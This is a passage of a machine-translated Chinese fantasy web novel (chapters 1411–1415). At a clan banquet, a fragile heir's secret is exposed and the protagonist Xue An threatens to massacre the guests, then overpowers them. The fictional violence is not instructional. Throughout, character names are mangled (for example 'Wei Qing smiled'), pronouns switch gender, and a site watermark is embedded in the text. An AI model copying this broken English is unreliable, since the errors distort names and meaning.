    Because of these thoughts, Tan Xiyao''s thoughts about connecting with Luo''s family are much weaker. As for Ren Tianqi...


    She didn''t even bother to take a look at all.


    But she didn''t know what Ren Tianqi had experienced at this moment.


    When Ren Tianqi listened to Luo Jian''s whisper, her eyes gradually widened, and then looked at Luo Jian with inquiring eyes.


    "What you said... is all true?"


    Luo Jian nodded solemnly, "Of course it is true!"


    Ren Tianqi let out a sigh of relief, and said solemnly, "But... is this really possible?"


    Luo Jian was silent for a moment, and finally slowly said: "I think it is possible, and even if it fails, can our situation be worse than it is now?"


    This sentence moved Ren Tianqi, he pondered for a moment, and then nodded heavily.


    "I understand, what is needed from me!"


    "Have you really considered it? After all, once a decision is made, your family..." Luo Jian asked.


    "The family...hehe, do you think the family regards me as a child of the Ren family?" Ren Tianqi showed resentment, "They will always only have Ren Tianyun in their eyes. I am just a dispensable substitute!"


    "So I think about it! I''ll join!"


    Luo Jian nodded, "Okay! Then you are ready to wait for the adults to come, choose the opportunity!"


    "Yes!"


    Ren Tianqi swept away the decadence just now, and her cold gaze swept across Tan Xiyao who was scratching her head in the distance, with murderous intent in her eyes.


    As for other slander or slander, he didn''t bother to bother about it.


    At this moment, Luo Xuan wore a long dress and walked in domineeringly.


    Her arrival caused many women to lose their voices.


    After taking a glance at the audience, she went straight to a corner, and then sat down silently.


    With this momentum, Tan Xiyao and others'' voices were much lower.


    But before everyone recovered, Luo Qifeng walked in first, and behind him were Wei Qingxiao and Wei Haocang.


    The appearance of their group caused a silent uproar in the audience.


    Especially when they noticed Luo Qifeng, whose eyes were always higher than the top, the smile and compliment on his face at this moment was even more shocking.


    But Luo Qifeng was too lazy to pay attention to this, he said with a smile: "Miss Wei, it seems that people are almost there now! Please take a seat!"


    As he was talking, with Luo Gaoyang, the Patriarch of the Luo family, headed by, many wealthy Patriarchs and elders greeted him.


    "I have seen Miss Wei, Master Wei!"


    "Yes, welcome Miss Wei to come to our guest!"


    These greetings come and go one after another.


    Wei Qing smiled and nodded, "Thank you!"


    But she could notice that many people''s eyes were focused on Wei Haocang.


    After all, Wei Haocang''s current status is the young master of the Wei family!


    Thinking of this, Wei Qing couldn''t help sighing with a smile, and then said with a smile: "Master, he usually seldom speaks, but he is also very happy to see you now!"


    Many people were happy when they heard the words and nodded at Wei Haocang to show respect.


    But a few people such as Luo Gaoyang secretly glanced at each other, and they all saw the doubt in each other''s eyes.


    In their eyes, this Wei Haocang at first glance seemed to be facing the wind, with extraordinary bearing, and seemed to have no problem.


    But Wei Qingxiao''s explanation seemed weird.


    It''s okay not to talk.


    This is understandable for the nobles to talk less.


    But why should she explain?


    And the young master of the Wei family seems to be not focusing on everyone, but in the distance!


    What''s in the distance?


    Luo Gaoyang followed his gaze unmovingly, and saw that in the distance was a huge dining table full of various delicacies.


    Ok?


    Despite the doubts in his mind, Luo Gaoyang did not show any signs on the surface. Instead, he smiled with great enthusiasm: "In this case, please come to your seat!"


    When I said that, I personally lead the way, UU reading www. uukanshu.com led Wei''s brother and sister to the high platform.


    Everyone''s eyes focused on Wei''s sister and brother.


    Especially Tan Xiyao, the gaze that looked at Wei Haocang almost melted away, and she wanted to take the initiative to post it now.


    Luo Xuan stared at Wei Qingxiao with cold eyes, especially when she saw Luo Qifeng and Wei Qingxiao walking side by side, chatting and laughing from time to time, she was even more jealous.


    But these subtleties are only seen by a few people such as Luo Jian, others are not even aware.


    Ren Tianqi asked in a low voice anxiously at this moment: "Seventh Master, the banquet is about to begin, why haven''t people come yet?"


    "Don''t worry, it should be here soon!" Luo Jian was also a little nervous, but said calmly.


    The voice just fell.


    Seeing Luo Jingting walked in from outside the door a little timidly.


    And behind her is Xue An, who is neither humble nor humble, walking slowly.

 Chapter 1411： I drank this cup for the young master

    "It''s her! Why did she come?" Many people in the banquet hall recognized Luo Jingting, and they all looked strange.


    Because Luo Jingting''s identity is just a collateral child, it stands to reason that he is not qualified to participate in a banquet of this level.


    Under these suspicious or disdainful gazes, Luo Jingting trembled and his face was pale.


    At the same time, Luo Xuan in the distance also noticed this scene.


    When she saw that the person who came was actually Luo Jingting, she was taken aback, then smiled coldly, winking at the few men beside her.


    These subordinates stepped forward and stopped Luo Jingting''s path.


    "Stunned girl, do you have any invitations?" The man in the lead said quite politely.


    "Invitation?" Luo Jingting was a little surprised.


    "Yes, this banquet is only eligible for the children of the wealthy family. If you don''t have an invitation card, I''m sorry, you can only ask you to go out first!"


    With dry lips, Luo Jingting couldn''t help but looked sideways at Xue An, wanting to ask him what to do.


    But he didn''t expect Xue An to stand down and ignore it at all.


    "Why? Surprised girl, don''t you want to leave?" Another man said coldly.


    But he was not as polite as the man just now, and his words were full of ridicule.


    Luo Jingting''s complexion changed.


    At this moment, Luo Jian walked over quickly and said in a deep voice: "Sister Jingting was invited by me, why? Is there a problem?"


    Hearing this, these men were all startled. When they turned their heads and saw Luo Jian, the expression on their faces immediately became very exciting.


    "Seven...Seven masters!" These men were very respectful.


    It should be understood that although Luo Jian does not have the identity and status of Luo Qifeng, he has always been respected because of his wide network, high prestige, and kindness to the people.


    At least not that Luo Xuan''s subordinates can afford it.


    Luo Jian ignored these people at all, and just smiled at Luo Jingting.


    "Why did Sister Jingting come now? The banquet is about to begin! Come with me!"


    After all, he turned sideways slightly, leading Luo Jingting into it.


    The people who had just stopped Luo Jingting stood aside in a very embarrassing way. They didn''t stop, nor did they stop. They could only watch Luo Jingting and his party walk into the banquet hall.


    Luo Xuan in the distance naturally saw this scene.


    Especially when she saw Luo Jian personally bringing Luo Jingting into the court, a look of doubt flashed in her eyes.


    At this moment, Luo Jian seemed to feel something, raised his eyes and glanced at her, then the corners of his mouth raised, revealing a hint of meaningful smile.


    Somehow, after seeing Luo Jian''s smile, Luo Xuan felt cold all over and couldn''t help but shiver.


    When she reacted, Luo Jian led Luo Jingting away.


    At this time, Luo Xuan''s face couldn''t help showing a strange look.


    what happened?


    With Luo Jingting''s identity, how could it be impossible for Luo Jian to lead the way in person?


    What the **** is this Luo Jian doing?


    Although Luo Xuan was puzzled, compared to the huge banquet hall, this was nothing but a very inconspicuous little disturbance.


    At least most people in the banquet hall didn''t even notice it.


    All their attention was attracted by Wei''s brother and sister sitting on the high platform.


    Luo Xuan also left these things behind, and looked at Luo Qifeng who was constantly talking with Wei Qingxiao on the stage, burning with jealousy in her heart.


    Gradually clenched his hands, and then heard Peng''s sound, he actually crushed the armrest of the seat, and then Luo Xuan suddenly stood up.


    "Miss!" Several entourages were taken aback, trying to stop them.


    "Don''t worry about me! I have a sense of measure!"


    With that, Luo Xuan picked up a wine glass on the table and walked towards the high platform step by step.


    People''s attention was focused on her instantly.


    Luo Qifeng, who was racking his brains to talk with Wei Qingxiao, found that the atmosphere was different and couldn''t help raising his head. Then, when he saw Luo Xuan approaching with a bright smile, his heart sank.


    He knew his sister too well. He couldn''t help feeling a little nervous when he saw her suddenly coming, and then he winked at Pan Yongge and Mo Jing.


    The two stood up knowingly and greeted Luo Xuan.


    "Sister Luo Xuan, what are you going to do?" Pan Yongge said with a smile.


    "Yeah! I haven''t seen you in a few years, sister Luo Xuan seems to be pretty again!" Mo Jing said with a smile.


    Luo Xuan smiled and said, "The two brothers are really good at talking. Didn''t I see the young master of the Wei family come here, do you want to go to toast a glass of wine! Why? Can''t it?"


    Although the words were directed at these two people, Luo Xuan''s gaze stayed on Luo Qifeng.


    Luo Qifeng couldn''t help but breathe a sigh of relief when he heard that it was just a toast.


    No matter how mischievous my own sister, but the other party is from the Wei family of the Central Ghost Realm, I believe she still has this point.


    So he nodded without moving his expression.


    Pan Yongge and Mo Jing shrugged and stepped aside.


    "In that case, please!"


    But Luo Qifeng didn''t notice. When he heard that Luo Xuan wanted to toast Wei Haocang, Wei Qing smiled with a gloomy expression.


    At this time, Luo Xuan had strolled to the table, the smile on his face became brighter, and then fluttered.


    "Luo Jian''s daughter Luo Xuan, I have met Master Wei, Miss Wei!"


    In any case, Luo Xuan''s etiquette is impeccable.


    Wei Qing laughed but did not move at all, but looked at Luo Xuan coldly without saying a word.


    Under Wei Qingxiao''s gaze, Luo Xuan only felt her scalp numb, but the jealousy and hatred in her heart made her not shrink at all. Instead, she raised her cup and smiled at Wei Haocang who was sitting idly by.


    "Young Master Wei is indeed handsome and handsome, and he is well-deserved! The little girl admires you very much, this cup, the little girl respects you!"


    With that, Luo Xuan held the cup in her hand and gave in.


    The banquet hall became quiet.


    Luo Gaoyang, the head of the Luo family, looked at each other with several elders, and then lowered his eyes unmovingly, without any intention of blocking.


    Facing Luo Xuan''s toast The young master of the Wei family, Wei Haocang, sat on the chair with a sluggish expression, without any movement.


    Now, the atmosphere became embarrassing and weird.


    Many people can''t help but frown slightly when seeing this scene.


    The Wei family is indeed powerful, but it won''t even give up this little face!


    The toast is also the daughter of the Luo family!


    Even Luo Qifeng couldn''t help being a little surprised.


    Luo Xuan lowered her head, but she was very proud in her heart.


    I see if you will pick up this glass of wine or not!


    From the first time I saw Wei Haocang, Luo Xuan felt that there was something wrong with Master Wei.


    This time I did it deliberately, just to test the guess in my heart. If it''s not easy, then let the Wei brothers and sisters not come to stage.


    At this time, Wei Qingxiao laughed suddenly, "Master, he never drinks alcohol! So I will drink this glass for Master!"

 Chapter 1412： Step by step crisis

    With that said, Wei Qing laughed and picked up the wine glass on the table, drank it with his head up, and then put it on the table with a loud voice, looking at Luo Xuan coldly.


    "So, what do you think?"


    There was a trace of killing intent in the words that could not be suppressed.


    In fact, if it wasn''t for not wanting to reveal the true appearance of his younger brother, Wei Qingxiao had already directly acted and killed Luo Xuan in his palm.


    But in full view, she could only endure forcibly.


    So this glass of wine, she drank extremely badly.


    Luo Xuan was also stunned. He didn''t expect Wei Qingxiao to come to such a hand and just wanted to talk.


    Seeing that the situation was not good, Luo Qifeng sank his face and said coldly, "Xuan''er, can''t Ms. Wei respond in person? After drinking this glass of wine, please step back!"


    Even though Luo Xuan was unwilling in every possible way, but the matter was over, she had to drink a glass of wine, and then smiled at Wei Qing.


    "Thank you Miss Wei for her face, the little girl stepped back!"


    This is very humble, but only a few people can appreciate the subtle atmosphere in it.


    For example, Xue An not far away showed a faint smile after seeing this scene.


    "interesting!"


    At this time, Luo Jian led Ren Tianqi over and said in a low voice: "My lord, this is Ren Tianqi, the second youngest of the Ren family. It is in a similar situation to me. I have already told him what you have said, and he is willing to join!"


    "My lord!" Ren Tianqi bowed slightly.


    "Ren Family?" Xue An was startled slightly, "Who is Ren Tianyun from you?"


    Ren Tianqi smiled bitterly, "Back to my lord, Ren Tianyun is my eldest brother!"


    Xue An laughed meaningfully, "Yes! In that case, I will give you a chance!"


    "Thank you, my lord!" Ren Tianqi let out a sigh, feeling cold sweat in her palms.


    Although Master Xue looked like a white-clothed boy on the surface, Ren Tianqi could feel that under this delicate and even weak appearance, it contained extremely terrifying power.


    So Ren Tianqi never dared to get too close from beginning to end, because that feeling was really terrifying.


    At this time, Luo Jian looked at Luo Xuan who was leaving with some hesitation, and asked in a deep voice: "My lord, what shall we do next?"


    Xue An smiled faintly, "Don''t worry, don''t you think this drama is very lively? Let''s watch it first!"


    At the same time, Luo Xuan returned to her seat, sneered at everyone on the stage, her eyes flickering, she didn''t know what she was calculating.


    But in any case, this episode is just over.


    The banquet continued down.


    Especially when Luo Gaoyang expressed his congratulations on behalf of many rich people, the atmosphere reached a climax.


    Next, it is free time.


    It is also the busiest time for a banquet.


    Wei Qing''s heart raised his throat with a smile.


    Because at this time, it is also the time when my brother is most exposed.


    But she can''t always follow her brother.


    Because Wei Qingxiao could clearly perceive that Luo Gaoyang and many other wealthy elders looked at his younger brother''s eyes a little wrong.


    If you continue to follow like a babysitter, it will definitely arouse greater suspicion.


    At this time, Luo Qifeng said to her with a smile on his face: "Miss Wei, shall we go there for a drink? Many wealthy children would like to get acquainted with you!"


    With that, Luo Qifeng pointed to the distance.


    Pan Yongge, Mo Jing and many wealthy direct descendants are all together, waiting for Wei Qingxiao.


    This is also a very normal part of the rich banquet communication.


    Wei Qingxiao couldn''t refuse because of emotion and reason.


    Therefore, she nodded hesitantly, "Wait a minute, I will say a few words to the young master!"


    "Please!"


    Wei Qing laughed and took a deep breath, leaning in Wei Hao''s ears, and whispered: "Brother, sister, go out, you just sit here and don''t go anywhere. If someone comes to talk to you, you will be cold. Look at him! Don''t talk, understand?"


    Wei Qingxiao has told her brother more than once about these precautions.


    But because he was worried that he would forget, Wei Qingxiao gave another order.


    Wei Haocang grinned, and muttered in a voice that only Wei Qing could hear: "Hmm!"


    Wei Qing laughed and sorted out his emotions, and said lightly: "Let''s go!"


    When she and Luo Qifeng left, Wei Haocang was left alone on the table.


    At this time, the eyes of many women became hot.


    That is the young master of the Wei family!


    Which wealthy daughter is not tempted?


    But before people could react, Tan Xiyao had taken the lead to stand up and walked to the table swayingly. She smiled and said, "Little girl Tan Xiyao, I have seen Master Wei!"


    no respond.


    Wei Haocang faithfully followed his sister''s instructions, sat there without squinting, and did not respond to all the surrounding words.


    This reaction made Tan Xiyao startled slightly. If it were other wealthy daughters, she would now back down in embarrassment.


    But Tan Xiyao is different. The environment in which she grew up has created her character that never stops until she reaches her goal.


    So she directly sat next to Wei Haocang and chuckled: "Why doesn''t Young Master Wei speak? Is it because of the low status of others?"


    Wei Haocang remained silent.


    Such a reaction made Tan Xiyao gritted her teeth secretly.


    In her opinion, Wei Haocang simply looked down on his identity, so he ignored him.


    But she still didn''t want to give up, so she stretched out her hand and took out a delicate food box from behind.


    After it was opened, there were plates of exquisite snacks.


    Under the pungent scent, Wei Haocang''s dull eyes released light instantly, staring at the food box blankly, without moving.


    Sure enough!


    Tan Xiyao was secretly happy, and then smiled: "Master Young Master, I heard that you like food the most, so I prepared these snacks. They are all fine products with good color and fragrance. I hope you will like it!"


    Wei Haocang''s body twisted slightly as if he was struggling.


    Tan Xiyao was amused, and then she picked up a piece of cake in her hand and chuckled softly: "Master Young Master, why are you hesitating? Just eat it if you want! This is all for you!"


    After speaking, he sent it to Wei Haocang''s mouth.


    Wei Hao stepped back like a snake, and said vaguely: "Sister...fight!"


    Ok? What do you mean?


    Tan Xiyao didn''t understand what Wei Haocang was talking about, but this did not prevent her from continuing to deliver pastries to Wei Haocang''s mouth.


    "Oh, Master Young Master, you can taste it! I promise, after you taste it, if you are not satisfied, I will leave immediately!" Tan Xiyao said greasyly.


    She thinks she knows the tempers of these big and young people very well. Sometimes, if she is a little bit coquettish and coquettish, she will get more pity and attention.


    As for snacks, it was nothing more than something Tan Xiyao prepared to get close to Wei Haocang.

 Chapter 1413： Kill everyone and the news will not leak...

    In this situation, the cake in Tan Xiyao''s hand touched Wei Haocang''s lips intentionally or unintentionally.


    This originally inconspicuous action shocked Wei Haocang.


    In fact, it is not easy for him to survive until now.


    Because there are many delicacies in the banquet hall, the aroma of these delicacies tortured Wei Haocang all the time.


    Had it not been for Wei Qingxiao who had been suppressing him, he would have been unable to control it.


    But the cake that touched the lips was like the last straw that crushed the camel, finally causing Wei Haocang to lose his mind.


    His expression suddenly became extremely hideous, he opened his mouth abruptly, and completely bit the piece of cake in one bite.


    Tan Xiyao let out a miserable cry, because one of her fingers was also bitten off together.


    Tan Xiyao trembled under the severe pain.


    However, Wei Haocang completely lost his reason and threw himself directly to the table, grabbed the plates of delicate snacks on the table, and stuffed it frantically.


    That hideous and terrifying eating appearance made the otherwise lively banquet hall instantly quiet.


    Everyone looked at this Wei Haocang who looked like a beast in amazement, and didn''t understand what was going on.


    Xue An sighed leisurely, with a trace of pity in his eyes, and whispered softly: "It''s hard for you!"


    In the dead silence of the audience, Wei Qingxiao, who was talking to everyone, noticed that something was wrong, suddenly turned around, and the scene in front of her made her expression instantly turn blue.


    Because the thing she worries the most has happened!


    Tan Xiyao held her injured hand with one finger missing, and looked at Wei Haocang, who was devouring something in her mouth with horror.


    And everyone''s faces gradually became weird.


    Now even a dull person can see that the young master of the Wei family is in a very wrong state.


    How could normal people eat like this!


    Luo Gaoyang, the head of the Luo family, and the others looked at each other, and they all saw the clarity in each other''s eyes.


    The rumors are true.


    The young master of the Wei family really has a problem.


    In this strange atmosphere, Wei Qing''s expression changed with a smile, but he did not delay his feet. Instead, he walked quickly to the table and slapped his hand up.


    Snapped!


    The crisp slap in the face echoed in the banquet hall.


    Tan Xiyao screamed, and was directly fanned out, hitting a table, smashing all the utensils on it.


    Many people''s complexions changed slightly amidst the sound of clattering.


    Wei Qing smiled lividly, looking at Wei Haocang who was still lying on the table and eating, suddenly felt very tired.


    I tried my best, and finally I got some improvement, but it still fell into this situation.


    She forced herself to endure the sadness in her heart, stepped forward and grabbed Wei Haocang''s wrist, and whispered: "Cang''er, stop eating! We should go now!"


    When Wei Haocang had an attack, only Wei Qing''s smile could restore his peace.


    So when he heard Wei Qing''s smile, he gradually calmed down, and then he grinned silly, ignoring the oil stains and residue on his face.


    Wei Qing laughed and forcibly endured the tears that were about to come out, and said lightly: "Sorry, there was an accident today, so let''s go first!"


    After all, she grabbed her brother''s wrist and walked out.


    This sadness and loneliness moved Luo Jian.


    Luo Xuan almost laughed out loud.


    That''s good!


    I don''t believe that after seeing this so-called Wei family a fool, my elder brother dare to have other ideas!


    really.


    Seeing Luo Qifeng looking at the back of Wei Qingxiao''s sister and brother with a look of astonishment, a little struggling flashed in his eyes, but in the end he lowered his head and stopped looking.


    As the eldest son of the Luo family, Luo Qifeng is not a fool.


    This Wei Qingxiao was indeed worth pursuing before, because she had everything she needed.


    Looks, family background, etc. are even better than myself.


    But now the basis of all this does not exist.


    Because her brother is actually a complete fool.


    In this case, you can imagine Wei Qingxiao''s situation in the Wei family.


    Combining the previous rumors about Wei Qingxiao, we can know that her younger brother will be her culprit.


    And she has no retreat at all!


    If this is the case, then Wei Qingxiao is no longer an object worth pursuing, but a bomb that will explode at any time.


    Because if you want to pursue her, you have to bear all her pressure.


    That is simply unimaginable!


    So Luo Qifeng wisely chose to retreat, even faintly lucky.


    Fortunately, I knew it early, otherwise I would really be on the thief ship!


    Tan Xiyao was also fortunate, even though she lost a finger, she slapped again.


    But she thought it was worth it.


    Because if it weren''t the case, you might have lost your life.


    So the banquet hall, which was still lively just now, fell silent.


    Everyone looked at Wei''s brother and sister with strange eyes, but no longer had the awe and admiration before.


    Wei Qing smiled secretly and gritted his silver teeth, holding his younger brother''s hand, and immediately walked out of the banquet hall.


    At this moment, Xue An sitting in the chair suddenly chuckled.


    "Are you planning to leave like this?"


    As soon as this sentence came out, the audience shook.


    Everyone looked sideways, wanting to see who the speaker was.


    Wei Qing laughed and turned around suddenly, and said coldly, "Who is talking?"


    Where the eyes of all parties converged, Xue An sat calmly, looking at Wei Qing in the distance with a smile, "I said it!"


    "Who are you? What did you just mean?" Wei Qing asked with a cold voice with a smile on his face.


    "It''s not interesting, I just want to remind you that if you step out of the door of this banquet hall, then within a few days, the news that your brother is a fool will spread throughout the ghost world! At that time, all you have for so many years Efforts will be spent!"


    "Have you thought about this result?"


    Xue An''s words made Wei Qing smile and his eyebrows rose instantly.


    Of course she thought about these things.


    But what can she do?


    Even if today''s banquet goes through safely, what about the future?


    Who dares to say that this kind of thing will not happen in the future?


    The only thing she can do now is to take one step at a time.


    "Of course I thought about it, but what can it be?" Wei Qing said coldly with a smile.


    "Don''t you want to change all of this?"


    Xue An��s words shocked Wei Qingxiao His pupils instantly shrank to the size of a needle, staring at Xue An, "How to change?"


    Xue Anhao leaned back on his chair in his spare time, looked around the audience, and then said lightly: "It''s very simple, kill all the people here, then the news will naturally not leak!"


    Speaking of this, Xue An smiled at Wei Qing slightly, "Such a simple truth, you shouldn''t understand it!"


    boom!


    Before Wei Qingxiao could respond to this, the whole banquet hall was already boiling.


    "Where did the madman come from? How dare to say such madman?"


    "Isn''t that the Seventh Young Master Luo Jian and the Ren''s second trash master? Why are they with this guy too?"


    "I heard that this guy seems to be Luo Jingting''s personal guard!"


    "Huh, a guard who is a side of the Luo family, dare to be so arrogant? Really looking for death!"

 Chapter 1414： Ok... what a beautiful firework!

    These talks almost lifted the roof of the banquet hall.


    Xue An was unmoved at all, but quietly looked at Wei Qing with a smile.


    Wei Qing''s expression changed with a smile.


    To be honest, Wei Qingxiao did have this idea.


    But this is not the central ghost world, but the depths of the ghost world.


    I traveled this time to avoid family pressure, so I only took a few people.


    And the opponent is almost all the giants in the depths of the ghost world.


    Such a huge disparity in strength makes this idea extremely naive and ridiculous.


    Therefore, Wei Qingxiao could only choose to leave sadly.


    Now hearing what Xue An said, countless thoughts flashed through Wei Qing''s smiling mind.


    Who is he?


    Why do you say that?


    What is his purpose?


    These thoughts were entangled, leaving Wei Qingxiao silent.


    Xue An seemed to be able to see through her thoughts, and said lightly: "You don''t have to guess my identity, I just ask you, do you want to change this result?"


    Wei Qing smiled and nodded, "Of course I want to, but so what? Can you help me achieve it?"


    The tone was full of sarcasm.


    Xue An smiled, "Okay! Then I will help you realize this idea!"


    At this time, many people in the banquet hall simply turned back laughing.


    "Come here, drag this nonsense guy out and kill it. The province has dirty the ground here!" An elderly Luo cried out in a deep voice.


    In an instant, more than a dozen guards rushed forward to try.


    But before they rushed closer, Luo Jian stepped forward and blocked everyone.


    "I see who dares to come over!"


    hiss!


    When everyone saw this, they couldn''t help taking a breath.


    How is this going?


    How could the seventh young master of the Luo family help this madman?


    When Luo Qifeng saw this, he became very angry, "Old Qi, what do you want to do? Could it be that you want to rebel?"


    This is the end of the matter, and Luo Jian has already given it up, "Yes, I just went the other way!"


    Many people were stunned by the scene before them.


    Luo Gaoyang, the head of the Luo family, was furious, "Bastard! Get me arrested!"


    These guards still hesitate.


    at the same time.


    Ren Tianqi also stepped forward and stood side by side with Luo Jian.


    "Master Seven, don''t forget there is me!" Ren Tianqi said with a smile.


    The director of Ren Jiajia in the crowd was also taken aback when he saw this, and then roared: "Ren Tianqi, what do you want to do?"


    Ren Tianqi showed a sneer, "What do I want to do? Father, I''m naturally going the other way!"


    boom!


    The crowd is almost frying!


    No one can figure out what is going on.


    At this moment, Luo Xuan suddenly jumped high, pointing at Luo Jingting who was standing behind Xue An and cursed.


    "It''s you who made the ghost, right? I said that you shouldn''t be taken in at the beginning. Sure enough, the wild species is the wild species! How dare to fight our Luo family!"


    This is extremely ugly.


    Luo Jingting''s complexion instantly paled, not because of the harshness of these words, but because Luo Xuan''s words proved a fact.


    He really is not a member of the Luo family!


    Everything is fake!


    It turned out that I was just a wild species that nobody wanted!


    These thoughts rushed in, and Luo Jingting almost fainted with the great sadness.


    Xue An suddenly sighed softly: "Don''t be sad, these are their faults, not yours! Understand?"


    Hearing Xue An''s words, Luo Jingting calmed himself down and nodded heavily.


    And Xue An smiled and said: "And it''s good to know your origin. As for the Luo family or the Luo family, it doesn''t matter at all, because after killing all... it will be yours!"


    This is simply arrogant.


    At least in the eyes of the Luo family.


    Luo Xuan smiled, "It''s so funny, you dare to talk like that when you die? What if you really thought you could find Luo Jian?"


    Before the words fell, Luo Xuan''s whole body suddenly floated, and then within a short period of time, the space suddenly collapsed inward, squeezing the flesh, condensing it into a ball of flesh.


    All this happened extremely quickly, but while breathing, Luo Xuan, who had just spoken out loud, became a **** ball, quietly suspended in the air.


    Such cruel and **** methods shocked the audience.


    Then Luo Qifeng roared, "Sister!"


    As he said, he pointed at Xue An hysterically, "Kill him! I want him to pay for it!"


    boom!


    At this time, people already knew that this was no longer a simple rivalry between giants, but an endless battle, so they retreated.


    At almost the same time, countless guards of the Luo family emerged from all corners, and Qi Qi launched an attack on Xue An.


    The sky is full of brilliance, forming a violent background picture.


    Luo Jian and others were all overwhelmed by it.


    Only Xue An was still sitting on the chair, smiling at Wei Qing, who was frowning, and said, "Look, I will begin to fulfill your wishes now!"


    While speaking, these attacks have rushed to the front.


    The attacks of the ghost clan have always been known for their strangeness and unpredictability. Coupled with the combination of these Luo family guards, the attack is more violent and vicious.


    Wei Qingxiao asked himself that he had to retreat when facing this blow.


    But Xue An didn''t even look at these attacking guards, just waved lightly.


    I saw a series of sword lights appearing out of thin air, and then cut straight past like a dragon waving its tail.


    After a short while, all the bodyguards stagnated, and then they broke apart.


    The sword aura was violent, and even the Soul did not escape for a while.


    Such a shocking blow made everyone in the audience terrified.


    Including Luo Xuan, who had finally reconstituted the body of the ghost clan, was also terrified.


    As for Luo Jian and Ren Tianqi, their eyes were almost open.


    I thought that even if I could win this time, it would be a tragic victory, but I didn''t expect it to end lightly.


    But Wei Qingxiao was the one who received the most shock.


    She didn''t expect such a result at all, and she couldn''t help staring in amazement.


    On the contrary, Wei Haocang on the side applauded joyfully.


    "Ok... what a beautiful firework!"


    He used Jian Mang as a firework.


    Xue An looked at Wei Haocang with a smirk, a gentle look appeared on his face, "Want to see it?"


    "Yeah!" Wei Hao nodded heavily.


    Xue An smiled, then waved.


    Countless sword lights appeared above the banquet hall, and then went straight down to withstand everyone''s throat.


    "do not move!"


    In fact, there is no need for him to say, the Sen Leng sword intent from the sword light has made everyone stiff in an instant, and they dare not make the slightest movement.


    Even Luo Gaoyang, who was furious and about to do it himself, calmed down instantly.


    Xue An smiled, "You think it''s so good! Everyone speaks peacefully, yelling at the provincial level, and I''m tired of listening!"


    No one dared to speak, or even nodded.


    A joke, the sword light on the throat is not vegetarian!


    Who can guarantee that he will not be killed by this sword light after some action?


    Therefore, everyone stood in place with an ugly face, like a wood-carved clay sculpture, afraid to move.


    Xue An smiled happily, "Really good!"


    Then turned his head to look at Wei Qing with a bewildered smile, "How about? Kill?"

 Chapter 1415： Believe it or not is your business, say it or not...

    Wei Qing''s eyes widened with laughter, and he looked at Xue An in astonishment.


    It''s not that she has never seen the strong, in fact, the strong in the central ghost world can''t talk about it, but it is far better than other places.


    But she had never seen something like Xue An.


    From the beginning to the end, it was deeply hidden. Even now, one person and one sword shocked the audience, there was still no mood swings, as if what was being done was a very trivial thing.


    This calmness is enough to be amazing.


    But when she heard Xue An''s questioning, she was shocked slightly, and then she regained consciousness.


    But immediately, she fell into hesitation and confusion.


    To kill or not to kill?


    This is a problem!


    The reason for saying this is not because Wei Qingxiao couldn''t bear to kill these ghost world giants.


    In fact, there must be her reasons for being able to stand tall among peerless giants like the Wei family.


    If Wei Qingxiao is an indecisive and sympathetic person, it is estimated that even the bones are already rotten.


    Wei Qingxiao considered that it is easy to kill, but what about after killing all?


    What to do next?


    Could it be that you just killed it all the way?


    You must know that this trip was first to avoid family pressure, and second, Wei Qingxiao wanted to increase his brother''s prestige and cultivate power for him.


    But if you just blindly kill, you may not be able to solve any problems in the end, but you will fall into a greater crisis.


    After all, the root of all problems comes from the Wei family. If the problems within the Wei family are not resolved first, then no matter how many people are killed, it will be nothing more than spectacle and vain!


    It is because of these doubts that Wei Qingxiao feels entangled in her heart.


    At this moment, Xue An, who was originally sitting on the chair, got up and strode towards Wei''s brother and sister.


    This sudden move made everyone hold their breath and looked at Xue An with horror.


    No matter what status or status, I feel deep fear at this moment.


    After all... the wisp of sword light in front of the throat can''t be faked.


    Not to mention that the ghost clan is not afraid of death, on the contrary, the more powerful the ghost clan, the more afraid of death.


    Because they usually impose death on others, when it is their turn, they are naturally full of fear and cannot accept it.


    Wei Qingxiao was also shocked slightly, but at any rate, she was also the eldest lady from the Central Ghost Realm. She had seen this in the world, so even though she was surprised in her heart, she did not give in the slightest.


    Xue An stopped and stood in front of Wei Qingxiao.


    With Xue An''s height, Wei Qingxiao needs to raise his face to see him.


    But Wei Qingxiao didn''t show the slightest sign of weakness, just staring at Xue An coldly.


    Under this weird look at each other, Xue An suddenly leaned down and laughed softly in her ear: "I know what you are worried about, but if you still want to cure your brother''s disease, listen carefully. My word! Understand?"


    "what?"


    Hearing these words in Wei Qingxiao''s ears was nothing less than a thunderbolt in a blue sky, shaking her whole body and looking at Xue An in horror.


    Xue An smiled faintly, "surprised?"


    Of course Wei Qingxiao was surprised.


    Because Wei Haocang''s illness has been diagnosed by countless magical doctors, and even an expert in the path of ghosts, but no matter who it is, there is nothing he can do about it.


    Having experienced such things a lot, even Wei Qingxiao has become numb.


    Although Wei Qingxiao has not given up on the surface, in his heart, even she is completely desperate.


    As a result, today, this young man in white clothes who does not seem to be a weak crown says that he can cure his brother''s disease. This sounds like a fantasy.


    Therefore, Wei Qingxiao took a deep look at Xue An and nodded, "Of course I am surprised, because anyone can say anything, but why do you make me believe you?"


    "Good question!" Xue An smiled slightly, "You really have no reason to believe me! I won''t give you nonsense just to prove myself, but I have to explain one thing to you!"


    "what?"


    "Under the world, among the ten thousand realms, if anyone can cure your brother''s disease, then I am the only one!" Xue An said calmly.


    Wei Qingxiao swears that if other people dared to speak this way in front of him, he would tear it up and feed it to the dog without hesitation!


    But somehow, these words came out of this white-clothed boy''s mouth, but they were so natural and natural.


    As if it should have been.


    The powerful self-confidence contained in this kind of speech also made Wei Qingxiao swallow the sneer that had already reached his lips, and then looked at Xue An extremely calmly.


    "The tone is not small! But do you think I really believe this?"


    Xue An smiled, "Believe it or not is your business, I''m just explaining a fact!"


    Wei Qingxiao wanted to ask or sneer again, but she found that she couldn''t say anything.


    Because the boy in white is looking at himself quietly.


    Since childhood, Wei Qingxiao has seen countless ghost realm powerhouses, among them there are many top-level existences that cross the various ghost realm planes, and stomping on them can make the world charcoal.


    But Wei Qingxiao had never seen such a deep look in Xue An''s eyes.


    It''s like seeing a bottomless spring water, one can''t help but indulge in it, unable to extricate itself.


    More importantly, the extreme peace in his eyes.


    There are no waves, regardless of life and death, but enough to accommodate everything.


    Wei Qingxiao even saw his own shadow in it, but the more so, the more shocked Wei Qingxiao''s mind.


    Regardless of whether what he said is true or false, judging from his current strength, it is enough to shock people.


    Could it be... he can really cure Cang''er? Wei Qing smiled with a thought in his heart.


    When Wei Qing laughed and was uncertain, Xue An had already turned his head to look at Wei Haocang, a soft light gradually appeared in his eyes, and he smiled slightly.


    "Are the fireworks just now beautiful?"


